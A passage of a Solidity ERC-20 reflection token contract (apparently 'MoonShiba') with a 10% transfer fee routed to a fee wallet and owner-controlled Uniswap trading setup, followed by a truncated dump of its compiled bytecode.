uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x9EC0360a71A7ea3D8BC11f21A7b3A2Efdf51e32f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner() && from != _feeAddrWallet && to != _feeAddrWallet ) { if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1500000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b60405161015191906124ce565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612598565b6104b4565b60405161018e91906125f3565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061261d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612780565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d91906127c9565b61060d565b60405161021f91906125f3565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061281c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612865565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906128ac565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906128d9565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061281c565b6109dd565b604051610319919061261d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612915565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d91906124ce565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612598565b610c9e565b6040516103da91906125f3565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906128d9565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612930565b611330565b60405161046e919061261d565b60405180910390f35b60606040518060400160405280600981526020017f4d6f6f6e53686962610000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f906129bc565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c6129dc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612a3a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d68560405180606001604052806028815260200161339960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c99092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610772906129bc565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b906129bc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d906129bc565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611a2d90919063ffffffff16565b611aa790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611af1565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5d565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba906129bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d906129bc565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d6f6f6e53686962610000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906129bc565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611a2d90919063ffffffff16565b611aa790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611bcb565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c906129bc565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612ace565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612b03565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612b03565b6040518363ffffffff1660e01b815260040161109c929190612b30565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612b03565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612b9e565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612c14565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612c67565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ca5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612d44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612dd6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061261d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee90612e68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90612efa565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a090612f8c565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117895750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118935750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118ff576000600a81905550600a600b819055505b600061190a306109dd565b9050600e60159054906101000a900460ff161580156119775750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600e60169054906101000a900460ff165b156119b75761199d81611bcb565b600047905060008111156119b5576119b447611af1565b5b505b505b6119c4838383611e44565b505050565b6000838311158290611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0891906124ce565b60405180910390fd5b5060008385611a209190612fac565b9050809150509392505050565b6000808303611a3f5760009050611aa1565b60008284611a4d9190612fe0565b9050828482611a5c9190613069565b14611a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a939061310c565b60405180910390fd5b809150505b92915050565b6000611ae983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e54565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b59573d6000803e3d6000fd5b5050565b6000600854821115611ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9b9061319e565b60405180910390fd5b6000611bae611eb7565b9050611bc38184611aa790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c0357611c0261263d565b5b604051908082528060200260200182016040528015611c315781602001602082028036833780820191505090505b5090503081600081518110611c4957611c486129dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d149190612b03565b81600181518110611d2857611d276129dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d8f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611df395949392919061327c565b600060405180830381600087803b158015611e0d57600080fd5b505af1158015611e21573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611e4f838383611ee2565b505050565b60008083118290611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9291906124ce565b60405180910390fd5b5060008385611eaa9190613069565b9050809150509392505050565b6000806000611ec46120ad565b91509150611edb8183611aa790919063ffffffff16565b9250505090565b600080600080600080611ef48761210f565b955095509550955095509550611f5286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fe785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120338161221f565b61203d84836122dc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161209a919061261d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d6310000090506120e368056bc75e2d63100000600854611aa790919063ffffffff16565b8210156121025760085468056bc75e2d6310000093509350505061210b565b81819350935050505b9091565b600080600080600080600080600061212c8a600a54600b54612316565b925092509250600061213c611eb7565b9050600080600061214f8e8787876123ac565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c9565b905092915050565b60008082846121d091906132d6565b905083811015612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220c90613378565b60405180910390fd5b8091505092915050565b6000612229611eb7565b905060006122408284611a2d90919063ffffffff16565b905061229481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122f18260085461217790919063ffffffff16565b60088190555061230c816009546121c190919063ffffffff16565b6009819055505050565b6000806000806123426064612334888a611a2d90919063ffffffff16565b611aa790919063ffffffff16565b9050600061236c606461235e888b611a2d90919063ffffffff16565b611aa790919063ffffffff16565b9050600061239582612387858c61217790919063ffffffff16565b61217790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123c58589611a2d90919063ffffffff16565b905060006123dc8689611a2d90919063ffffffff16565b905060006123f38789611a2d90919063ffffffff16565b9050600061241c8261240e858761217790919063ffffffff16565b61217790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561246f578082015181840152602081019050612454565b8381111561247e576000848401525b50505050565b6000601f19601f8301169050919050565b60006124a082612435565b6124aa8185612440565b93506124ba818560208601612451565b6124c381612484565b840191505092915050565b600060208201905081810360008301526124e88184612495565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061252f82612504565b9050919050565b61253f81612524565b811461254a57600080fd5b50565b60008135905061255c81612536565b92915050565b6000819050919050565b61257581612562565b811461258057600080fd5b50565b6000813590506125928161256c565b92915050565b600080604083850312156125af576125ae6124fa565b5b60006125bd8582860161254d565b92505060206125ce85828601612583565b9150509250929050565b60008115159050919050565b6125ed816125d8565b82525050565b600060208201905061260860008301846125e4565b92915050565b61261781612562565b82525050565b6000602082019050612632600083018461260e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61267582612484565b810181811067ffffffffffffffff821117156126945761269361263d565b5b80604052505050565b60006126a76124f0565b90506126b3828261266c565b919050565b600067ffffffffffffffff8211156126d3576126d261263d565b5b602082029050602081019050919050565b600080fd5b60006126fc6126f7846126b8565b61269d565b9050808382526020820190506020840283018581111561271f5761271e6126e4565b5b835b818110156127485780612734888261254d565b845260208401935050602081019050612721565b5050509392505050565b600082601f83011261276757612766612638565b5b81356127778482602086016126e9565b91505092915050565b600060208284031215612796576127956124fa565b5b600082013567ffffffffffffffff8111156127b4576127b36124ff565b5b6127c084828501612752565b91505092915050565b6000806000606084860312156127e2576127e16124fa565b5b60006127f08682870161254d565b93505060206128018682870161254d565b925050604061281286828701612583565b9150509250925092565b600060208284031215612832576128316124fa565b5b60006128408482850161254d565b91505092915050565b600060ff82169050919050565b61285f81612849565b82525050565b600060208201905061287a6000830184612856565b92915050565b612889816125d8565b811461289457600080fd5b50565b6000813590506128a681612880565b92915050565b6000602082840312156128c2576128c16124fa565b5b60006128d084828501612897565b91505092915050565b6000602082840312156128ef576128ee6124fa565b5b60006128fd84828501612583565b91505092915050565b61290f81612524565b82525050565b600060208201905061292a6000830184612906565b92915050565b60008060408385031215612947576129466124fa565b5b60006129558582860161254d565b92505060206129668582860161254d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129a6602083612440565b91506129b182612970565b602082019050919050565b600060208201905081810360008301526129d581612999565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a4582612562565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7757612a76612a0b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612ab8601783612440565b9150612ac382612a82565b602082019050919050565b60006020820190508181036000830152612ae781612aab565b9050919050565b600081519050612afd81612536565b92915050565b600060208284031215612b1957612b186124fa565b5b6000612b2784828501612aee565b91505092915050565b6000604082019050612b456000830185612906565b612b526020830184612906565b9392505050565b6000819050919050565b6000819050919050565b6000612b88612b83612b7e84612b59565b612b63565b612562565b9050919050565b612b9881612b6d565b82525050565b600060c082019050612bb36000830189612906565b612bc0602083018861260e565b612bcd6040830187612b8f565b612bda6060830186612b8f565b612be76080830185612906565b612bf460a083018461260e565b979650505050505050565b600081519050612c0e8161256c565b92915050565b600080600060608486031215612c2d57612c2c6124fa565b5b6000612c3b86828701612bff565b9350506020612c4c86828701612bff565b9250506040612c5d86828701612bff565b9150509250925092565b6000604082019050612c7c6000830185612906565b612c89602083018461260e565b9392505050565b600081519050612c9f81612880565b92915050565b600060208284031215612cbb57612cba6124fa565b5b6000612cc984828501612c90565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d2e602483612440565b9150612d3982612cd2565b604082019050919050565b60006020820190508181036000830152612d5d81612d21565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612dc0602283612440565b9150612dcb82612d64565b604082019050919050565b60006020820190508181036000830152612def81612db3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e52602583612440565b9150612e5d82612df6565b604082019050919050565b60006020820190508181036000830152612e8181612e45565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612ee4602383612440565b9150612eef82612e88565b604082019050919050565b60006020820190508181036000830152612f1381612ed7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612f76602983612440565b9150612f8182612f1a565b604082019050919050565b60006020820190508181036000830152612fa581612f69565b9050919050565b6000612fb782612562565b9150612fc283612562565b925082821015612fd557612fd4612a0b565b5b828203905092915050565b6000612feb82612562565b9150612ff683612562565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561302f5761302e612a0b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061307482612562565b915061307f83612562565b92508261308f5761308e61303a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006130f6602183612440565b91506131018261309a565b604082019050919050565b60006020820190508181036000830152613125816130e9565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613188602a83612440565b91506131938261312c565b604082019050919050565b600060208201905081810360008301526131b78161317b565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131f381612524565b82525050565b600061320583836131ea565b60208301905092915050565b6000602082019050919050565b6000613229826131be565b61323381856131c9565b935061323e836131da565b8060005b8381101561326f57815161325688826131f9565b975061326183613211565b9250506001810